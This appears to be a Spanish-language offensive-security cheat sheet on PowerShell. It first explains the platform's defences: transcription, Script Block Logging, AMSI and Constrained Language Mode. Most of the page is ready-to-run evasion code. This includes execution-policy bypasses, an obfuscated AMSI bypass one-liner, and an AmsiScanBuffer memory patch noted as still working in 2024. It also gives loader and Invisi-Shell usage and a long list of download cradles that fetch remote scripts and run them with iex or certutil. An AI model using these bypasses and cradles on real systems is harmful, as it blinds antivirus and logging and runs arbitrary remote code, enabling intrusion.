PowerShell
Defensas de PowerShell
System-wide transcription
Graba toda la salida de las sesiones PowerShell (comandos y resultados). Cada comando y su salida quedan registrados. Si ejecutas Mimikatz en PS, va todo al log.
Se configura vía GPO:
Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on PowerShell Transcription
Guarda logs en:
C:\Users\%USERNAME%\Documents\PowerShell_transcripts\
Script Block Logging
Registra bloques de código completos antes de ejecutarse (no solo comandos escritos a mano, sino scripts cargados). Guarda hasta el contenido de scripts ofuscados → PowerShell decompila la ofuscación simple. Tu y payload quedan registrados aunque nunca toquen disco.
Ejemplo:
Si cargas un script con iex (iwr ...)
, el bloque completo puede aparecer en el log.
Log en Event Viewer → Windows PowerShell/Operational (Event ID 4104).
AMSI (Antimalware Scan Interface)
Interfaz entre PowerShell y el AV/EDR.
Antes de ejecutar un script, PowerShell manda el contenido a AMSI.dll, por lo que, el AV lo analiza en tiempo real.
Ejemplo: Si ejecutas
Invoke-Mimikatz.ps1
, AMSI lo detecta por firmas.
Logs: Windows Defender lo reporta en Operational log
o en el SIEM.
AMSI bloquea muchos payloads conocidos. Es necesario evadirlo: Windows
Constrained Language Mode (CLM)
Modo restringido de PowerShell, limita el lenguaje a “seguro”.
Integrado con AppLocker / Windows Defender Application Control (WDAC).
Restricciones típicas:
No puedes invocar APIs .NET avanzadas.
Bloquea Add-Type, COM objects, acceso directo a memoria.
Scripts firmados por Microsoft siguen funcionando.
Cómo se activa: Automáticamente en sistemas con Device Guard, o vía políticas.
Técnicas clásicas como New-Object Net.WebClient
, Add-Type
, DllImport
se encuentran bloqueadas.
Resumen
En cuanto a qué hace cada defensa:
Transcription (guarda todo lo que haces en texto)
Script Block Logging (logea el código cargado → EventID 4104)
AMSI (envía a AV/EDR antes de ejecutar)
CLM (limita qué puedes usar en PowerShell)
En PSv2 y anterior → no existe AMSI, CLM ni Script Block Logging → entorno mucho más “ciego”.
En PSv5+ → Blue Team tiene visibilidad total si no usas evasión.
Técnicas de bypass:
Invisi-Shell (hookea Automation.dll para saltar logging).
AMSI bypasses (modificar AmsiUtils en memoria).
Obfuscación (Invoke-Obfuscation).
Migrar a otro proceso (cargar DLLs directamente con C#).
Política de ejecución (Execution Policy)
Habilitar ejecución de scripts
El siguiente comando permite modificar la política de PowerShell de forma que se permita la ejecución de todos los scripts sin firmar y sin aplicar restricciones ni advertencias (-exec bypass). Además, no se carga el perfil del usuario, lo que permite evadir posibles restricciones (-nop).
powershell -nop -exec bypass
Otras vías de bypass:
powershell -ExecutionPolicy bypass
powershell -c <cmd>
powershell -encodedcommand
$env:PSExecutionPolicyPreference="bypass"
Evasión de seguridad
Invisi-Shell
Invisi-Shell es una herramienta diseñada para bypassear las defensas de PowerShell. Lo que hace es enganchar (hookear) las librerías de .NET que usa PowerShell:
System.Management.Automation.dll
System.Core.dll
Utiliza la API de CLR Profiler (un DLL especial que el Common Language Runtime carga en tiempo de ejecución) para interceptar llamadas y modificar el comportamiento.
Descarga de la herramienta:
git clone "https://github.com/OmerYa/Invisi-Shell.git"
Ejecución:
Cuando se termine, hay que salir con exit
para cerrar la sesión y limpiar los cambios.
Sin privilegios de administrador:
C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat

Con privilegios de administrador:
C:\AD\Tools\InviShell\RunWithPathAsAdmin.bat
AMSI PowerShell Bypass
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
S`eT-It`em ( 'V'+'aR' + 'IA' + (("{1}{0}"-f'1','blE:')+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),(("{0}{1}" -f '.M','an')+'age'+'men'+'t.'),('u'+'to'+("{0}{2}{1}" -f 'ma','.','tion')),'s',(("{1}{0}"-f 't','Sys')+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+("{0}{1}" -f 'ni','tF')+("{1}{0}"-f 'ile','a')) ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+("{1}{0}" -f'ubl','P')+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )

AMSI .NET Bypass
https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/
En la siguiente tabla se enumeran algunos scripts que permiten la evasión. También se indica la última fecha en la que he podido ejecutar el script sin restricción:
Windows 10
15/10/2024
Por ejemplo:
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
Loaders
Artefacto de carga (loader) cuya función principal es facilitar la ejecución de shellcode de forma sigilosa. Implementa técnicas de evasión para minimizar la detección y suele ser el único componente persistente en disco durante la operación.
SilentLoader
https://github.com/xtormin/SilentLoader
git clone "https://github.com/xtormin/SilentLoader.git"
cd SilentLoader
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:sloader.exe /target:exe /reference:System.dll /reference:System.Core.dll SilentLoader.cs
.\sloader.exe -f [programa.exe] [-p "argumentos opcionales"]
.\sloader.exe -f Rubeus.exe -p "dump"
Bypass de firmas conocidas en el código
Algunas formas de evadir las protecciones son:
Carga en memoria (fileless).
Identificación de las partes del script que son detectadas.
Ofuscación completa del script.
Carga en memoria
iex (iwr 'http://192.168.10.100/PowerView.ps1').Content
Identificación de partes detectadas
AMSITrigger: Te dice qué línea/parte del script dispara AMSI.
AmsiTrigger_x64.exe -i C:\AD\Tools\Invoke-PowerShellTcp_Detected.ps1
DefenderCheck: Escanea un script y te indica qué strings son detectados por Windows Defender.
DefenderCheck.exe PowerUp.ps1
Esto te devuelve la posición en bytes donde hay una detección. Para convertir el byte offset en número de línea: ByteToLineNumber.ps1.
. C:\AD\Tools\ByteToLineNumber.ps1
Get-LineNumber -Path C:\AD\Tools\PowerUp.ps1 -ByteOffset 0x1DCD2
Ofuscación completa
Renombrar funciones y variables.
Codificar partes sensibles (ejemplo:
"Invoke-Mimikatz"
se convierte en algo ilegible).Generar payloads en múltiples formatos (base64, rot13, string split, etc.).
Descarga de ficheros
One-liners de descarga
iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1')
$ie=New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; iex (iwr 'https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1' -UseBasicParsing).Content
Add-Type -AssemblyName System.Net.Http;$u='https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1';$http=[System.Net.Http.HttpClient]::new();$code=$http.GetStringAsync($u).Result;iex $code
iex (iwr 'https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1')
$h=New-Object -ComObject
Msxml2.XMLHTTP;$h.open('GET','https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1',$false);$h.send();iex
$h.responseText
$wr = [System.NET.WebRequest]::Create("https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1")
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()
iwr "https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1" -outputfile winpeas64.exe
.\certutil.exe -urlcache -split -f "https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1"
Consideraciones sobre versiones de PowerShell
PowerShell v1 (2006, Windows XP/2003)
No existe
Invoke-WebRequest (iwr)
.Solo soporta SSL3/TLS1.0 → no puedes descargar de GitHub/modern HTTPS (requiere TLS1.2).
Solución: usar tu propio servidor HTTP (sin TLS o con TLS1.0).
Alternativas:
Msxml2.XMLHTTP
InternetExplorer.Application
(COM)
Ejemplo:
iex (New-Object Net.WebClient).DownloadString('http://servidor/payload.ps1')
PowerShell v2 (2009, Windows 7 / 2008R2)
Sigue sin existir
Invoke-WebRequest
.Mismo problema con TLS moderno (solo TLS1.0).
Todavía bastante usado en entornos legacy → ideal para labs.
Ejemplo:
iex (New-Object Net.WebClient).DownloadString('http://servidor/payload.ps1')
PowerShell v3 (2012, Windows 8 / 2012 Server)
Ya existe Invoke-WebRequest
iwr
es más “verboso” y puede lanzar errores si no usas.Content
:iex (iwr 'http://servidor/payload.ps1').Content
TLS1.2 todavía no activado por defecto, a veces es necesario forzarlo:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Ejemplos:
iex (iwr 'http://servidor/payload.ps1')
PowerShell v4 (2013, Windows 8.1 / 2012R2)
TLS1.2 sigue sin estar por defecto, mismo workaround que en v3.
PowerShell v5 / v5.1 (2016+, Windows 10 / Server 2016/2019)
Aquí entran en juego defensas modernas:
Script Block Logging
AMSI (Antimalware Scan Interface)
Constrained Language Mode
Muchos cradles empiezan a ser detectados por EDR.
Se usan técnicas de obfuscación (Invoke-Obfuscation) o bypasses AMSI.
Ejemplos:
iex (iwr 'http://servidor/payload.ps1' -UseBasicParsing).Content
iex (New-Object Net.WebClient).DownloadString('http://servidor/payload.ps1')
PowerShell Core (6, 7 → multiplataforma, 2018+)
No existen COM objects (
XMLHTTP
,InternetExplorer.Application
) → ya no funcionan esos cradles.AMSI y logging siguen activos.
Al ser cross-platform, no todo el arsenal clásico (ej. PowerView.ps1) funciona directamente.
Ejemplos:
Add-Type -AssemblyName System.Net.Http
$http = [System.Net.Http.HttpClient]::new()
iex $http.GetStringAsync("https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1").Result
Última actualización
¿Te fue útil?